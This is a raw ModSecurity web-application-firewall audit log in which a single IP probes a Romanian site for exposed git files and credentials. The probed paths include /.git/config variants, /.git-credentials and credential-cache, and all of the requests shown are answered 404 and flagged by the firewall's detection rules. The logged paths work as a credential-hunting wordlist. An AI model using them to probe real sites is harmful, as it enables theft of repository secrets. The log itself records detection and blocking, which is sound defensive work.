HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b9d01776-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.bak"] [unique_id "aqYFSysVWymXUono-eRQhAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config.bak"] [unique_id "aqYFSysVWymXUono-eRQhAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.bak"] [unique_id "aqYFSysVWymXUono-eRQhAAAAAQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227080737 1296315 (- - -)
Stopwatch2: 1789265227080737 1296315; combined=69391, p1=29064, p2=40265, p3=0, p4=0, p5=62, sr=28969, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b9d01776-Z--
--1853b25c-A--
[13/Sep/2026:05:07:08.391250 +0300] aqYFSzTJ6xTvcJoem7f1JQAAAFY 172.86.81.63 50606 127.0.0.1 7081
--1853b25c-B--
GET /.git/credentials-helper HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--1853b25c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1853b25c-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/credentials-helper"] [unique_id "aqYFSzTJ6xTvcJoem7f1JQAAAFY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227216067 1175237 (- - -)
Stopwatch2: 1789265227216067 1175237; combined=3903, p1=172, p2=3680, p3=0, p4=0, p5=51, sr=71, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1853b25c-Z--
--508be801-A--
[13/Sep/2026:05:07:08.598132 +0300] aqYFSzTJ6xTvcJoem7f1HgAAAEU 172.86.81.63 50556 127.0.0.1 7081
--508be801-B--
GET /.git/objects/info/packs HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--508be801-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--508be801-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/objects/info/packs"] [unique_id "aqYFSzTJ6xTvcJoem7f1HgAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227189919 1408271 (- - -)
Stopwatch2: 1789265227189919 1408271; combined=33135, p1=185, p2=32853, p3=0, p4=0, p5=97, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--508be801-Z--
--98c64347-A--
[13/Sep/2026:05:07:08.632293 +0300] aqYFSysVWymXUono-eRQgwAAAA0 172.86.81.63 50508 127.0.0.1 7081
--98c64347-B--
GET /.git/config HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--98c64347-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--98c64347-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQgwAAAA0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQgwAAAA0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQgwAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227080300 1552040 (- - -)
Stopwatch2: 1789265227080300 1552040; combined=79738, p1=31790, p2=47886, p3=0, p4=0, p5=61, sr=31633, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--98c64347-Z--
--b9d01776-A--
[13/Sep/2026:05:07:08.672280 +0300] aqYFSzTJ6xTvcJoem7f1IAAAAEA 172.86.81.63 50554 127.0.0.1 7081
--b9d01776-B--
GET /.git/config~ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--b9d01776-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b9d01776-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config~"] [unique_id "aqYFSzTJ6xTvcJoem7f1IAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config~"] [unique_id "aqYFSzTJ6xTvcJoem7f1IAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config~"] [unique_id "aqYFSzTJ6xTvcJoem7f1IAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config~"] [unique_id "aqYFSzTJ6xTvcJoem7f1IAAAAEA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227200297 1472037 (- - -)
Stopwatch2: 1789265227200297 1472037; combined=32166, p1=165, p2=31906, p3=0, p4=0, p5=95, sr=72, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b9d01776-Z--
--98c64347-A--
[13/Sep/2026:05:07:08.705200 +0300] aqYFSzTJ6xTvcJoem7f1JAAAAEQ 172.86.81.63 50590 127.0.0.1 7081
--98c64347-B--
GET /.git/info/exclude HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--98c64347-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--98c64347-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/info/exclude"] [unique_id "aqYFSzTJ6xTvcJoem7f1JAAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227210303 1494960 (- - -)
Stopwatch2: 1789265227210303 1494960; combined=3957, p1=180, p2=3725, p3=0, p4=0, p5=52, sr=76, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--98c64347-Z--
--bd48233b-A--
[13/Sep/2026:05:07:08.735145 +0300] aqYFSzTJ6xTvcJoem7f1IwAAAEI 172.86.81.63 50580 127.0.0.1 7081
--bd48233b-B--
GET /.git/config.old HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--bd48233b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bd48233b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.old"] [unique_id "aqYFSzTJ6xTvcJoem7f1IwAAAEI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config.old"] [unique_id "aqYFSzTJ6xTvcJoem7f1IwAAAEI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.old"] [unique_id "aqYFSzTJ6xTvcJoem7f1IwAAAEI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227208285 1526926 (- - -)
Stopwatch2: 1789265227208285 1526926; combined=47263, p1=173, p2=47022, p3=0, p4=0, p5=67, sr=71, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bd48233b-Z--
--fe1c427b-A--
[13/Sep/2026:05:07:08.738161 +0300] aqYFSzTJ6xTvcJoem7f1IQAAAEY 172.86.81.63 50550 127.0.0.1 7081
--fe1c427b-B--
GET /.git/credential-cache HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--fe1c427b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fe1c427b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/credential-cache"] [unique_id "aqYFSzTJ6xTvcJoem7f1IQAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227202861 1535348 (- - -)
Stopwatch2: 1789265227202861 1535348; combined=19806, p1=180, p2=19573, p3=0, p4=0, p5=53, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fe1c427b-Z--
--bd48233b-A--
[13/Sep/2026:05:07:08.744122 +0300] aqYFSysVWymXUono-eRQhgAAABE 172.86.81.63 50622 127.0.0.1 7081
--bd48233b-B--
GET /.git/refs/remotes/origin/master HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--bd48233b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bd48233b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/refs/remotes/origin/master"] [unique_id "aqYFSysVWymXUono-eRQhgAAABE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227264354 1479836 (- - -)
Stopwatch2: 1789265227264354 1479836; combined=4756, p1=354, p2=4342, p3=0, p4=0, p5=59, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bd48233b-Z--
--38f08864-A--
[13/Sep/2026:05:07:08.777352 +0300] aqYFSzTJ6xTvcJoem7f1IgAAAEE 172.86.81.63 50532 127.0.0.1 7081
--38f08864-B--
GET /.git-credentials HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--38f08864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--38f08864-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git-credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1IgAAAEE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git-credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1IgAAAEE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227206032 1571385 (- - -)
Stopwatch2: 1789265227206032 1571385; combined=37446, p1=181, p2=37207, p3=0, p4=0, p5=58, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--38f08864-Z--
--c2335d71-A--
[13/Sep/2026:05:07:08.793014 +0300] aqYFSzTJ6xTvcJoem7f1JgAAAFU 172.86.81.63 50618 127.0.0.1 7081
--c2335d71-B--
GET /.git/config.credentials HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--c2335d71-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c2335d71-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1JgAAAFU"]
